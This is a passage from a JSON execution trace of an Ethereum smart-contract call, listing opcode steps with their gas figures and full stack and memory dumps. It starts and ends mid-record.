","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13483,"op":"JUMP","gas":104803,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x147e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5246,"op":"JUMPDEST","gas":104795,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5247,"op":"PUSH1","gas":104794,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5249,"op":"PUSH1","gas":104791,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5251,"op":"PUSH1","gas":104788,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5253,"op":"SHL","gas":104785,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5254,"op":"SUB","gas":104782,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5255,"op":"AND","gas":104779,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5256,"op":"PUSH4","gas":104776,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5261,"op":"PUSH1","gas":104773,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5263,"op":"MLOAD","gas":104770,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5264,"op":"DUP2","gas":104767,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5265,"op":"PUSH4","gas":104764,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e0","0x978bbdb9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5270,"op":"AND","gas":104761,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e0","0x978bbdb9","0xffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5271,"op":"PUSH1","gas":104758,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e0","0x978bbdb9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5273,"op":"SHL","gas":104755,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e0","0x978bbdb9","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5274,"op":"DUP2","gas":104752,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e0","0x978bbdb900000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5275,"op":"MSTORE","gas":104749,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e0","0x978bbdb900000000000000000000000000000000000000000000000000000000","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50